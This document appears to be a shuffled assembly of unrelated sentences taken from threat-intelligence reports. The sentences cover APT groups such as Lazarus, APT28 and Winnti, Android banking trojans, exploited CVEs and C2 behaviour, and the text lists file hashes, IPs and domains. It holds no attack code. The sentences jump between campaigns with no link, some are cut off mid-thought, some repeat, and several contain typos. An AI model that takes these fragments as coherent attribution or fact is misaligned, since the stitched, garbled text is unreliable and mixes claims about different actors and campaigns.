Method doInBackground : to send information to remote C2 server As seen from the major code body of method doInBackground shown in Figure 3 ( some of the original classes and methods are renamed for easier understanding ) , there are three calls to HttpPost with different contents as parameters . It appears that the group values hardcoded into the malware is associated with the targeted organization , as several are Saudi Arabian organizations within the telecommunications and defense industries . Gamaredon : 76ea98e1861c1264b340cf3748c3ec74473b04d042cd6bfda9ce51d086cb5a1a . The term has been around since the 1990s , and the first spyware to be identified was developed by criminals to steal passwords or financial information from devices .


They can be configured to block data and applications from certain locations ( IP S-PROT whitelisting ) , while allowing relevant and necessary data through .


These threat actors frequently offer malicious apps purporting to be legitimate apps that are broadly used or important to a targeted population . In the case of another Japanese company , Sumitomo Electric , Winnti apparently penetrated their networks during the summer of 2016 . It is possible , although not confirmed , that APT16 was also responsible for targeting this government agency , given both the timeframe and the use of the same n-day to eventually deploy the ELMER backdoor .


Everyday users can do the same by checking the router ’ s DNS settings if they ’ ve been modified . Lazarus was also linked to the WannaCry ransomware outbreak in May 2017 . While the name ‘ Winnti ’ in public reporting was previously used tosignify a single actor , pronounced divergence in targeting and tradecraft betweencampaigns has led industry consensus to break up the tracking of the continued use ofthe Winnti malware under different actor clusters .


By the end of that month , CosmicDuke samples we found that had been compiled on the 30th of July had shed unused parts of their code that had essentially just been relics of the past .


Before doing this , the malware makes a screenshot of the screen and displays it on top of all other windows for few seconds . They then proceeded to log directly into the VPN using the credentials of the compromised user . The decrypted payload undergoes one final transformation , where it is XORed with the first byte read from the C:\Windows\system . ini file , which is expected to begin with a comment character " ; " ( 0x3B ) . Curl An opensource commandline tool for transferring data using various network protocols .


These samples were identified as being the work of one group , referred to in this document as " Quedagh " , which has a history of targeting political organizations . In 2017 , social engineering content in lures used by the actor provided evidence that they were likely used to target members of the Vietnam diaspora in Australia as well as government employees in the Philippines .


7771af1ad3a3d9c0b4d9b55260bb47c2692722cf com.android.copy 12e085ab85db887438655feebd249127d813e31df766f8c7b009f9519916e389 7771af1ad3a3d9c0b4d9b55260bb47c2692722cf com.android.copy 6348104f8ef22eba5ac8ee737b192887629de987badbb1642e347d0dd01420f8 We assess with moderate confidence that APT40 is a state-sponsored Chinese cyber espionage operation . Winnti : nw.infestexe.com 138.68.14.195 DigitalOcean . While there are several motivations for hackers , we ve covered 6 of the most common ones in this article


At times , the use of this malware testing environment correlates to in-network activities of TEMP.Veles , demonstrating direct operational support for intrusion activity .


AOSP patched the Janus vulnerability since version 7 by introducing APK Signature Scheme V2 . Compared to Patchwork , whose Trojanized documents exploit at least five security flaws , Confucius' backdoors are delivered through Office files exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882 . Besides tracking the files and processes that Dexphot uses to execute an attack , we have also been monitoring the domains used to host malicious payloads . In March 2021 , in a separate environment , we observed a threat actor utilize one or more vulnerabilities to place at least one web shell on the vulnerable Exchange Server .


The sample has a multicomponent structure and can download a payload or updates from its C & C server , which happens to be an FTP server belonging to the free Russian web hosting service Ucoz . The Lazarus Group 's objective was to gain access to the target 's environment and obtain key military program insight or steal money . The recipient clicked the link and proceeded to download and open a malicious HTML executable file , which in turn loaded content from a C&C server via an embedded iframe . The malware also contains a new component called Tonnerre French for thunder a secondstage payload used for persistence , surveillance , and data exfiltration .


This encryption algorithm is an extra security layer for communicating with the C2 , an improvement over the previous version of a plain RC4 encryption . If the macros in SPK KANUN DEĞİŞİKLİĞİ GİB GÖRÜŞÜ.doc” are enabled , an embedded payload is decoded and saved in the %APPDATA% directory with the name CiscoAny.exe” . APT35 also installed BROKEYOLK , a custom backdoor , to maintain persistence on the compromised host .


Uploading any incoming SMS messages ( including the balance inquiry results ) to the remote C2 server . BlackOasis in recent months sent a wave of phishing emails . The second one is the setting of the persistence mechanism through the writing of the vbs code in the Startup folder with name “ templates.vbs ” . When Bradshaw refused to sell the domain , he and his then - girlfriend were subject to an unrelenting campaign of online harassment and blackmail .


the attacker did not leverage all of TRITON’s extensive reconnaissance capabilities . This malware report contains analysis of one 32-bit Windows executable file , identified as a Remote Access Trojan ( RAT ) .


Our findings , along with previous research , indicates that the threat actor behind these recent campaigns is likely a Chinese group dubbed “ Roaming Mantis ” . The second one is CobaltGoblin Carbanak EmpireMonkey , which uses the same toolkit , techniques and similar infrastructure but targets only financial institutions and associated software/services providers . This report demonstrates that Ke3chang is able to successfully penetrate government targets using exploits for vulnerabilities that have already been patched and despite the fact that these ministries have defenses in place .


The command will be issued as an answer to the beaconing , and the result will be returned to the URL http : // /api/v2/set_state.php Example of the command " changeServer '' The commands are issued in a JSON format , and the obfuscation is part of the malware code and not added by the packer . The MuddyWater attacks are primarily against Middle Eastern nations . In Check Point ’s blog , the sample is from December 2018 while this sample is from April 2018 . What is Cisco doing to take action against the growth of commercial spyware ?


The New York Times reported on Nov. 15 that Kryptowire , a mobile enterprise security company , discovered the code on a lower-end smartphone made by BLU Products of Doral , Fla . Other examples of malicious infrastructure registered with internet.bs include domains for APT28’s VPNFilter malware campaign and the registration of the cyber-berkut . The malicious code drops HomamDownloader , then jumps back to the regular flow in the CODE section , which in turn asks the user the password and decrypts the file .


Due to the nature of this document , we assume that this campaign targets people with an interest in cyber security .


The names of the files and decoy content seem to be carefully crafted , often referencing controversial and topical political issues .


Conclusion and security recommendations The continued monitoring of XLoader showed how its operators continuously changed its features , such as its attack vector deployment infrastructure and deployment techniques . We identified three themes in APT28 's lures and registered domains , which together are particularly relevant to the Russian government . After writing the data to disk, receiver operations are complete and processor operations . Sandworm is a full - spectrum threat actor that has carried out espionage , influence and attack operations in support of Russia 's Main Intelligence Directorate ( GRU ) since at least 2009 .


Figure 6 . The vulnerability is bypassing most mitigations; however , as noted above , FireEye email and network products detect the malicious documents . Additional ways our customers can detect and block this threat are listed below .


Last month , researchers at Kaspersky reported on a Lazarus APT campaign targeting both macOS and Windows users . The usage of KopiLuwak , a well-known and exclusive artefact previously used by the Turla group , makes us attribute this campaign to this actor with high confidence .


Meanwhile , desktop banking Trojans developed the ability to execute various social engineering schemes by using web injections , a method that alters the content presented to the infected victim in their browser . The threat actor was able to leverage the web shell to run reconnaissance commands , steal credentials , and deploy other tools . We had previously observed this author name in use once before , in the very first ThreeDollars document we collected that we had reported on in August 2017 .


“ Agent Smith ” will replace the original application ’ s activities with an in-house SDK ’ s activity , which will show the banner received from the server . Clever Kitten actors have a strong affinity for PHP server-side attacks to make access ; this is relatively unique amongst targeted attackers who often favor targeting a specific individual at a specific organization using social engineering . It used different programs like XMRig and JCE Miner over the course of our research . The observed activity included creation of web shells for persistent access , remote code execution , and reconnaissance for endpoint security solutions .


However , the document does not link to the Egyptian Newspaper website , but instead to a file sharing website called Egnyte .


The Windows 10 Creators Update will bring several enhancements to Windows Defender ATP that will provide SOC personnel with options for immediate mitigation of a detected threat .


Update Jul 11 2016 8:32 : On Monday , a Checkpoint representative disputed Lookout 's contention and pointed to this blog post from security firm Eleven Paths as support . Overall , an organization will need multilayered security strategies , as Lazarus and other similar groups are experienced cybercriminals who employ different strategies to get past organizational defenses . APT33 : 8.26.21.120 [REDACTED].ddns.net . The email address admin@93[.]gd is linked to IP addresses owned by a certain user with the nickname “ PIG GOD”—another


Targeting profiles included defense related commercial and military organizations , and telecommunications .


In addition , this type of Android banking malware does not require the device to be rooted or the app to have any specific Android permission ( besides android.permission.INTERNET to retrieve the overlay contents and send its captured data ) . The BlackTech group is primarily focused on cyberespionage in Asia . The implementation is quite simple : After the handshake , 2 threads that deal with data transfer are spawned . Our gathered field data shows the following statistics on CSP usage across the Internet ( based on HTTPArchive March 2020 scan ):


Observe below the code routine for call recording . Once the LOWBALL malware calls back to the Dropbox account , the admin@338 will create a file called upload.bat which contains commands to be executed on the compromised computer . By hunting through known malware repositories , Morphisec identified matching samples uploaded by Israeli high-tech development companies , medical organizations and education organizations , indicating that they were victims of the attack . The vulnerability , which could allow attackers to gain escalated privileges and unauthorized access to an environment , was first disclosed on May 31st in a security bulletin released by Progress .


Before interpreting the opcode , the VM decrypts the opcode ’ s content ( through a simple XOR algorithm ) , which it then relocates ( if needed ) , using the relocation fields . The use of Emissary appears to be focused only on Taiwan and Hong Kong , with regular malware updates to avoid detection and to increase the odds of success . Some hashes were redacted per request from one of the vendor . A cybercriminal may be impersonating a legitimate external user by using a Man in the Middle MiTM attack ,


Testing , Malware Artifacts , and Malicious Activity Suggests Tie to CNIIHM .


We hope that this blog post helps other researchers to understand and analyze FinFisher samples and that this industry-wide information-sharing translate to the protection of as many customers as possible . The threat actors associated with DRAGONFISH have previously focused their campaigns on targets in Southeast Asia , specifically those located in countries near the South China Sea . Based on ESET telemetry , one of the second stage payload delivered to victims is Win64/Winnti.BN . Its capabilities include retrieving and executing additional payloads , collecting basic system information , and executing shell commands .


PLATINUM has consistently targeted victims within a small set of countries in South and Southeast Asia . Historically , Nitro is known for targeted spear phishing campaigns and using Poison Ivy malware , which was not seen in these attacks .


Apart from including the country ’ s name , the app ’ s name is probably intended to imply a relationship with the antifraud solution named GAS Tecnologia . We found them targeting countries in the Middle East such as United Arab Emirates and Saudi Arabia , as well as other countries such as India , Japan , Argentina , the Philippines , and South Korea . Loaders are typically responsible for loading a DLL component into memory given that a DLL cannot operate in a standalone mode such as an executable .


As the 2017 elections in Europe approach - most notably in Germany , France , and the Netherlands - we are already seeing the makings of similarly concerted efforts .


In April 2015 , we uncovered the malicious efforts of APT30 , a suspected China-based threat group that has exploited the networks of governments and organizations across the region , targeting highly sensitive political , economic and military information . The initial attack vector used in the attack against the data center is unclear , but researchers believe LuckyMouse possibly had conducted watering hole or phishing attacks to compromise accounts belonging to employees at the national data center .


PlugX is a modular structured malware that has many different operational plugins such as communication compression and encryption , network enumeration , files interaction , remote shell operations and more . Symantec detects this threat as Backdoor.Nidiran .


The last TA505 campaigns featuring The Trick appeared in mid-September 2017 with payloads alternating between Locky and The Trick .


Another important modification is in the message transfer process : With this modification , an application sends device location coordinates with every message . Throughout our tracking , we've seen this group deploy its main backdoor as well as other tools against various victims , but June 2019 was the first time we saw the Buhtrap group use a zero-day exploit as part of a campaign . GreezeBackdoor is a tool of the DarkHotel APT group , which we have previously written about .


Known targets of the Leviathan have been involved in the maritime industry , and research institutes , academic organizations , and private firms in the United States . One narrowly-targeted spearphishing from Infy was sent from the compromised account of a political activist promoting participation inside of Iran , claiming to be a set of images of a British-Iranian dual national that has been held in Evin Prison for five years on espionage charges .


The idea is simple - if the infected device belongs to a real person , sooner or later this person will move around , increasing the step counter . They also download apks secretly and record audios and videos , then upload users’ privacy information to server , causing users’ privacy leakage . Remexi is a basic back door Trojan that allows Cadelle to open a remote shell on the computer and execute commands .


The overlaps between these two sets of attacks include exploitation of a common vulnerability , similar toolset and a shared government victimology , but no strong pivot points to connect these attack campaigns together .


Asacub versions Sewn into the body of the Trojan is the version number , consisting of two or three digits separated by periods . CTU researchers assess with high confidence that threat groups like Threat Group-1314 will continue to live off of the land to avoid detection and conduct their operations . It appears hacking group Outlaw , which has been silent for the past few months , was simply developing their toolkit for illicit income sources . Threat actors often compete for the same resources , and this could n't be further from the truth when it comes to website compromises .


This RAT is the origin of the attackers ' group name . The first attack in the US that Group-IB attributes to MoneyTaker was conducted in the spring of 2016 : money was stolen from the bank by gaining access to First Data 's " STAR " network operator portal .


The hackers also started tweeting a few samples of internal emails from the company . Operation Erebus leverages another Flash Player exploit ( CVE-2016-4117 ) through the use of watering hole attacks .


HenBox is not running as a system app ) , another ELF library is loaded to aid with executing super-user commands . In 2018 , we observed APT41 target a third healthcare company , although their goals during this compromise were unclear . After compromising a political organization , APT28 will steal internal data .


That 's because the malware roots most of the phones it infects , a process that subverts key security mechanisms built into Android . CTU researchers have observed NICKEL ACADEMY ( Lazarus ) copying and pasting job descriptions from online recruitment sites in previous campaigns . APT33 : 8.26.21.221 [REDACTED].ddns.net . While we were unable to identify the SCIL commands executed , we believe they were probably commands to open circuit breakers in the victim ’s substation environments .


] orgaryastark [ . Based on information collected in the course of this research , the targets and victims of Infy 's campaigns have continued to be strongly aligned with Iran 's " soft war " agenda , internal security policies , and regional adversaries of the hardline establishment of the Islamic Republic of Iran . The supplied registrant information does not need to be accurate for the zone to be registered successfully . Scripts should be captured from the file system when possible to determine their actions and intent .


Unfortunately , for now we can ’ t say in what environment these landing pages were used in the wild , but according to all the information at our dsiposal , we can assume that they are perfect for exploitation using malicious redirects or man-in-the-middle attacks . Webinjects targeting Japan , a country we haven’t seen targeted by Panda Banker before . The admin@338 started targeting Hong Kong media companies , probably in response to political and economic challenges in Hong Kong and China .


The following protections are in place to protect customers against Earworm attacks :


The VM dispatcher loop routine ends with a JMP to another routine . In December 2015 , Unit 42 published a blog about a cyber espionage attack using the Emissary Trojan as a payload . In either case , the malware stops running . Among the group ’s most interesting characteristics are : • Strong functional and structural similarities linking its malware toolset to early MiniDuke and more recent CosmicDuke and OnionDuke components In early 2013 , GReAT observed several incidents that were so unusual they suggested the existence of a new , previously unknown threat actor .


With this blog series we will be sharing our research analysis with the research and broader security community , starting with the PHA family , Zen . In 2017 , the number of MoneyTaker 's attacks has remained the same with 8 US banks , 1 law firm and 1 bank in Russia being targeted . On November 26, 2015, a suspected China based APT group sent Japanese defense policy-themed spear phishing emails to multiple Japanese financial and high-tech companies . the web shell included the ability to run arbitrary commands and upload , delete , and view the contents of files .


All of the other IP address we discovered sharing the same TLS certificate behave in the same way . One of the primary targets of the Taidoor campaign appeared to be the Taiwanese government . It enables the attackers to spy on victims using rather basic backdoor capabilities . Kaspersky ’s Global Research and Analysis Team ( GReAT ) has observed signs of its attacks in several countries including Germany , South Korea and Uzbekistan , as well as the US .


FireEye identified overlaps between the domain registration details of CyberCaliphate ’s website and APT28 infrastructure .


Backdoor.APT.PittyTiger1.3 ( aka CT RAT ) – This malware is likely used as a second-stage backdoor . On it , MoneyTaker install a legitimate tool for penetration testing – Metasploit .


The group has also been reported as Leviathanby other security firms . After the executable is executed , it downloads Pony and Vawtrak malware variants to steal data .


The operators retrieve these files on the machine using the DOWNLOAD_LIST command .


Called “ DEFENSOR ID ” , the banking trojan was available on Google Play at the time of the analysis . At the end of August 2018 , the Sednit group launched a spearphishing email campaign where it distributed shortened URLs that delivered the first stage of Zebrocy components . Evidence suggest that the Lazarus Group uses compromised infrastructure as the public-facing touchpoint for the majority of their malware samples .


Details : Name : Super Mario Run Package Name : net.droidjack.server MD5 : 69b4b32e4636f1981841cbbe3b927560 Technical Analysis : The malicious package claims to be the Super Mario Run game , as shown in the permissions screenshot below , but in reality this is a malicious RAT called DroidJack ( also known as SandroRAT ) that is getting installed . In August 2015 , the threat actors sent spear phishing emails to a number of Hong Kong-based media organizations , including newspapers , radio , and television . The fileless attack was delivered via Microsoft Word documents that exploited a former zero-day vulnerability in Word , CVE-2017-0199 , to install a fileless attack variant of the Helminth Trojan agent . For more information , contact : intelreports@kaspersky.comPowerShell event logs for the creation of an arbitrary process from PowerShell .


If the privileges are revoked successfully , the Trojan relaunches the cycle of requesting administrator privileges . We found new variants of the Powermud backdoor , a new backdoor ( Backdoor.Powemuddy ) , and custom tools for stealing passwords , creating reverse shells , privilege escalation , and the use of the native Windows cabinet creation tool , makecab.exe , probably for compressing stolen data to be uploaded . WCry uses a combination of the RSA and AES algorithms to encrypt files .


SHA256 : d773b12894d4a0ffb0df328e7e1aa4a7112455e88945a10471650e503eecdb3d .


" Mundizza '' is a dialectal word , a derivative of the proper Italian word " immondizia '' that translates to " trash '' or " garbage '' in English . This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) . In fact , it is almost unusual in its unsophistication . Regardless of the cause , these leaks are having a significant effect on the threat landscape , making it easier for novice or unskilled actors to develop their own ransomware variants without much effort or knowledge .


This archive is stored in the same host has the webviews . The group is known for espionage campaigns in the Middle East . Once loaded and the export entry of Rmcmd is called , it creates a Windows B-TOOL S-OS mutex named gkdflbmdfk . By understanding the TTPs of the leaked source codes , defenders will gain invaluable insights that are helpful in identifying and mitigating any existing security weakness in their environment and improving their security defense against these attack vectors .


] 204 [ . This whitepaper explores the tools - such as MiniDuke , CosmicDuke , OnionDuke , CozyDuke , etc- of the Dukes , a well-resourced , highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making . If the DownloadString method is located it will contact the hard coded C2 requesting a file , which is downloaded and then invoked ( highlighted in blue ) . Another common delivery mechanism for ransomware attacks is via phishing emails , compounding the problem for security teams already overburdened with managing an evergrowing volume of suspicious messages that require review .


ONLINE – send information about Trojan ’ s current status to C & C : whether it has device administrator privileges , which HTML page is currently displayed , whether screen is on or off , etc . Once exploit has been achieved , Nidiran is delivered through a self-extracting executable that extracts the components to a .tmp folder after it has been executed . Leafminer has developed exploit payloads for this framework ( Table 2 ) that deliver custom malware through attacks against SMB vulnerabilities described by Microsoft .


Artifact #2 operates as a backchannel for the attacker to maintain a foothold inside the compromised network .


The ‘ onload5 ’ function is responsible for adding the newly loaded SWF object as a child object .


With each networked IoT device having its own separate network stack , it ’s quite easy to see the need for better enterprise management , especially in today ’s “ bring your own device ” world .


July 13 Further analysis of the hacking team dump revealed that the company used UEFI BIOS rootkit to keep their Remote Control System ( RCS ) agent installed in their targets ’ systems . If successful , Cobalt goes on to attack financial institutions outside the country . . A typical log entry showing access to the PowerShell backend is detailed in the Remote PowerShell HTTP logs , located in , such as in the example below : CrowdStrike incident responders discovered Remote PowerShell logs similar to log entries for ProxyNotShell exploitation to gain initial access , suggesting the attacker leveraged Remote PowerShell .


Coronavirus Update App Leads to Project Spy Android and iOS Spyware We discovered a cyberespionage campaign we have named Project Spy infecting Android and iOS devices with spyware by using the coronavirus disease ( Covid-19 ) as a lure . Without Symantec 's advanced AI-based capabilities , Gallmaker 's activities may well have remained undetected . for example , Cisco Talos recently worked with two vendors to patch multiple vulnerabilities in a favored software library used in chemistry laboratories and the Foxit PDF Reader , one of the most popular PDF reader alternatives to Adobe Acrobat .


On the other hand , ShadowBrokers group made headlines in 2016 when it claimed to have robbed various exploitation tools used by the NSA including the notorious ETERNALBLUE that was a vital component in the WannaCry ransomware campaign causing damages to systems worldwide . It's coincident that both 'darkhydrus' APT group name and ‘Williams’ user name in PDB path found in this Twitter user .


As shown within the timeline above , the WINDSHIFT activity observed by Unit 42 falls between January and May of 2018 . Silence conducted a massive phishing campaign posing as the Central Bank of the Russian Federation .


It does so by calling a sub-function to decrypt the content , using the value stored in the ‘ r1 ’ variable as a key .


Typically , APT10 tends to employ a namesquatting scheme in their domains that aims to confuse the observer by posing as a legitimate domain . This sample was also found to be deployed using the CVE-2012-0158 vulnerability .


] 6 , was previously hosting the domain next.nextuptravel [ . They download and install an archive containing executables and trivially modified source code of the password-stealing tool Mimikatz Lite as GetPassword.exe . Poison Ivy includes features common to most Windows-based RATs , including key logging , screen capturing , video capturing , file transfers , system administration , password theft , and traffic relaying .


The worm leverages an SMBv1 exploit that originates from tools released by the Shadow Brokers threat group in April . The Turla group is known to be painstaking and work in stages , first doing reconnaissance on their victims' systems before deploying their most sophisticated tools such as Carbon .


The malware samples were mainly distributed through a series of malicious subdomains registered under a legitimate domain belonging to a well-known shared hosting service provider in Russia . PROMETHIUM and NEODYMIUM both used a zero-day exploit that executed code to download a malicious payload . Ssdeep : 768:u0foGtYZKQ5QZJQ6hKVsEEIHNDxpy3TI3dU4DKfLX9Eir : uG1aKQ5OwCrItq3TgGfLt9r . It now appears those attacks were perpetrated by Harrison , who sent emails from different accounts at the free email service Vistomail pretending to be Bradshaw , his then - girlfriend and their friends .


Researchers at Kaspersky Lab privately disclosed the flaw to Adobe after exploits against the zero-day were used in March by the ScarCruft APT gang in what Kaspersky Lab is calling Operation Daybreak . The FBI said the " group of malicious cyber actors " ( known as APT6 or 1.php ) used dedicated top-level domains in conjunction with the command and control servers to deliver " customized malicious software " to government computer systems .


The goal of the attackers appears to be to collect intellectual property such as design documents , formulas , and manufacturing processes . After reestablishing access , the adversaries download tools such as gsecudmp and WCE that are staged temporarily on websites that TG-3390 previously compromised but never used .


This change came hand in hand with a new overlay target list , no longer targeting social apps , but focusing on banking instead . we assess with high confidence that these incidents were conducted by APT10 also known as Stone Panda , menuPass , CVNX in an effort to gain access to networks and steal valuable intellectual property or gain commercial advantage . We have observed that the adversary has repeatedly attacked a high-profile target in Japan using multiple malware families for the last three years .


This is done using a series of syscalls as outlined below . The attackers try to lure targets through spear phishing emails that include compressed executables . They simply use the website for legitimate purposes , such as posting forum threads or creating profile pages . If the target system meets the pre - defined requirements , the malware will use Twitter ( unbeknownst to the user ) and start looking for specific tweets from pre - made accounts .


This spyware sample communicates over dynamic DNS . this RTF exploits again the CVE-2017_1882 on eqnedt32.exe . Night Dragon is a campaign name for activity involving a threat group that has conducted activity originating primarily in China .


Of the 195 functions of the new sample , 149 are strictly identical , 16 match at 90% and 2 match at 80% .


The server sends back encoded json containing URL , class name and method name . Figure 3: Embedded URL in OLE object CVE-2017-11882 Similarly , we have also observed actors leveraging another recently discovered vulnerability (CVE-2017-11882) in Microsoft Office . The archive contains an .exe file , sometimes disguised as a Microsoft Word file , a video , or another file format , using the corresponding icon .


CTU researchers have observed the threat actors installing a credential logger and backdoor on Microsoft Exchange servers , which requires a technical grasp of Internet Information Services ( IIS ) .


Playing further off the suggested GAS Tecnologia link , the app promises better security for its users . TA505 is also using FlowerPippi (Backdoor.Win32.FLOWERPIPPI.A) , a new backdoor that we found them using in their campaigns against targets in Japan , India , and Argentina . Regardless of their sophistication or refinement , the malware families within the Lazarus Group 's India and Lima classes perform at a reasonable level for their designed purpose : the introduction and persistence of malware from the Lazarus Group on a victim 's infrastructure .


Encounter In early 2019 , the Check Point Research team observed a surge of Android malware attack attempts against users in India which had strong characteristics of Janus vulnerability abuse ; All samples our team collected during preliminary investigation had the ability to hide their app icons and claim to be Google related updaters or vending modules ( a key component of Google Play framework ) . Threat actors have delivered Bookworm as a payload in attacks on targets in Thailand . All 13 countries where Kaspersky reportedly observed BlackOasis activity are connected to Saudi Arabia in one of three ways : economically ; from a national security perspective ; or due to established policy agreements . WIRTE has used HTTPS over ports 2083 and 2087 for C2.ZxShell can use ports 1985 and 1986 in HTTP / S communication.[47 ] Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level .


Such a framework typically consists of five elements :


Ultimately , APT35 had used access to hundreds of mailboxes to read email communications and steal data related to Middle East organizations , which later became victims of destructive attacks . Data from the early part of this year shows that the Taidoor attackers rampantly used malicious.DOC files to exploit a Microsoft Common Controls vulnerability , CVE-2012-0158 .


Attackers send a spear phishing email to employees at the target organization .


Shamoon2 : 5.254.100.200 Shamoon2 : URLs .


All modules set hidden attributes to their files : Module Paths Exfiltrated data format msconf.exe % APPDATA % /myupd/gen/ % Y % m % d- % H % M % S_filesystem.zip ( file structure dump ) system.exe % APPDATA % /myupd/aud/ % d % m % Y % H % M % S.wav ( surrounding sounds ) update.exe % APPDATA % /myupd_tmp/txt/ % APPDATA % /myupd/txt/ % Y % m In theory , Shun Wang Technologies could have collected a third of China’s population names and contact numbers if not more . FIN6 : ITG08 .


They also download apks secretly and record audios and videos , then upload users’ privacy information to server , causing users’ privacy leakage . Taking a step back , as discussed in the Appendix in our initial OilRig blog , Clayslide delivery documents initially open with a worksheet named " Incompatible " that displays content that instructs the user to " Enable Content " to see the contents of the document , which in fact runs the malicious macro and compromises the system .


drivres-update.info softupdates.info The module uses a hardcoded URL ( “ /check/ “ ) for sending HTTP POST requests to its C2 servers .


The documents attached to spear-phishing e-mails used in both attacks contain code that exploits CVE-2012-0158 , which despite its age remains one of the most common Microsoft Word vulnerabilities being exploited by multiple threat actors . Black Lambert was seen only briefly and we assume it was " retired " from the arsenal after being discovered by FireEye in 2014 .


UNBLOCK – unblock the telephone ( revoke device administrator privileges from the app ) . The attackers sent multiple emails containing macro-enabled XLS files to employees working in the banking sector in the Middle East . The researchers found that there are common elements in the macro and in the first- stage RAT used in this campaign , with former campaigns of the NICKEL ACADEMY ( Lazarus ) threat group .


The attacks we attribute to Scarlet Mimic have primarily targeted Uyghur and Tibetan activists as well as those who are interested in their causes . APT33 sent spear phishing emails to employees whose jobs related to the aviation industry .


Th 64KB buffer is used as a VM descriptor data structure to store data and the just-in-time ( JIT ) generated code to run . Based on the targeting and lures , Unit 42 assesses that the Lotus Blossom actors ' collection requirements include militaries and government agencies in Southeast Asia . Early in the payload , the malware checks to see if the system language is Russian or Chinese . e.g. , uses character as a separator and that contains valid IP list uses as a separator .


We believe this HTTP GET request was the actor visiting the webshell after exploitation and prior to executing commands .


The following is a summary of observed WINDSHIFT activity which targeted a Middle Eastern government agency . We are however only aware of one instance - the exploitation of CVE-2013-0640 to deploy MiniDuke - where we believe the exploited vulnerability was a zero-day at the time that the group acquired the exploit .


XLoader Disguises as Android Apps , Has FakeSpy Links This new XLoader variant poses as a security app for Android devices , and uses a malicious iOS profile to affect iPhone and iPad devices . In March 2014 , the group leveraged the disappearance of Malaysia Airlines Flight MH370 to target a government in the Asia-Pacific region and a US-based think tank . Name Delivery Server . COSMICENERGY is the latest example of specialized OT malware capable of causing cyber physical impacts , which are rarely discovered or disclosed .


We’ve discovered a new version of BalkanDoor with a new method for execution/installation: an exploit of the WinRAR ACE vulnerability CVE-2018-20250 . Bahamut targeted similar Qatar-based individuals during their campaign .


Oftentimes , the emailed link is a bit.ly shortened link , used to potentially evade detection . The attackers originally embedded an implant into the malicious document as a hypertext application (HTA) file , and then quickly moved to hide it in an image on a remote server and used obfuscated Visual Basic macros to launch the decoder script . Equation is a sophisticated threat group that employs multiple remote access tools .


It leverages webinjects and SMS reading capabilities to bypass two-factor authentication , and is clearly targeting financial applications . In their latest leak , they have released the UNITEDRAKE NSA exploit , which is a remote access and control tool that can remotely target Windows-based systems to capture desired information and transfer it to a server . As a result of our analysis of APT10 's activities , we believe that it almost certainly benefits from significant staffing and logistical resources , which have increased over the last three years , with a significant step-change in 2016 .


In this version of Rotexy , dynamic generation of lowest-level domains was not used . The Leviathan also occasionally used macro-laden Microsoft Word documents to target other US research and development organizations during this period . FBI has high confidence that HIDDEN COBRA actors are using malware variants in conjunction with proxy servers to maintain a presence on victim networks and to further network exploitation .


Reports indicate fake versions of the Amaq app exist , likely in order to spy on those that use it . APT41 is unique among tracked China-based actors in that it leverages non-public malware typically reserved for espionage operations in what appears to be activity that falls outside the scope of state-sponsored missions . APT19 seemed to be going after defense sector firms , Chinese dissident groups and other political target , as well as certain financial targets and other commercial targets in pharmaceutical and energy sectors that could benefit the Chinese economy .


This entry was posted on Thu Dec 14 10:00 EST 2017 and filed under Malware , Nathan Brubaker , Christopher Glyer , Blake Johnson , Dan Caban , Marina Krotofil , ICS Security , and Dan Scali . The Leviathan also occasionally used macro-laden Microsoft Word documents to target other US research and development organizations during this period .


This allows the PHA authors to monetize their apps more effectively than through regular advertising . Obviously , the developers behind NetTraveler have taken steps to try to hide the malware 's configuration . Since 1949 , Beijing has claimed Taiwan as a part of China and strongly opposes any action toward independence . The U.S. Cybersecurity and Infrastructure Security Agency ( CISA ) released a detailed timeline on the campaign , stating that an investigation from Microsoft revealed that “ advanced persistent threat ( APT ) actors accessed and exfiltrated unclassified Exchange Online Outlook data ” after users reported suspicious activities in their Microsoft 365 cloud environment .


The group demonstrates malleability and innovation in maintaining and producing familiar SPLM functionality , but the pragmatic and systematic approach towards producing undetected or difficult-to-detect malware continues .


Based on these and other similar stylistic differences observed between CozyDuke and its older siblings , we speculate that while the older Duke families appear to be the work of someone with a background in malware writing ( or at the least in hacking ) , CozyDuke ’s author or authors more likely came from a software development background .


But , behind the scenes , the malware has not been removed ; instead it starts preparing its onslaught of attacks . In total , Silence sent out about 80 , 000 emails , with more than half of them targeting Taiwan , Malaysia , and South Korea . The Charming Kitten' focus appears to be individuals of interest to Iran in the fields of academic research .


The threat actors used social engineering to convince users to run an embedded macro in a Microsoft Word document that launched a malicious PowerShell payload .


We initially reported on this threat group and their UPDATESEE malware in our FireEye Intelligence Center in February 2016 . Sometimes the attackers send an MS PowerPoint document instead , which exploits CVE-2014-6352 .


However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers . Notably , APT41 was observed using proof-of-concept exploit code for CVE-2019-3396 within 23 days after the Confluence .


We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers . The attack leveraged malware we called ' BlackLambert ' , which was used to target a high profile organization in Europe .


Moreover , the backdoor contains a list of filenames related to credentials from software listed below ( database names ) :


An interesting feature of this family of banking Trojans is the simultaneous use of three command sources : Google Cloud Messaging ( GCM ) service – used to send small messages in JSON format to a mobile device via Google servers ; malicious C & C server ; incoming SMS messages . In 2014 , APT32 leveraged a spear-phishing attachment titled " Plans to crackdown on protesters at the Embassy of Vietnam.exe " . Lazarus actors commonly maintain persistence on a victim 's system by installing the malware-as-a-service .


Again , much of the modification work focused on removing redundant code in an attempt to appear different from earlier versions of the loader .


WRITE_EXTERNAL_STORAGE - Allows the application to write to external storage . Several spear-phishing campaigns attributed to Carbanak , all occurring between March and May 2018 , were analyzed by security researchers in 2018 . The crew combines both regular crime and targeted attack objectives using the same domain infrastructure over time , rarely changing their TTPs .


While the stolen certificates were different , and stolen in separate instances , they were both used with custom malware in targeted attacks originating from China .


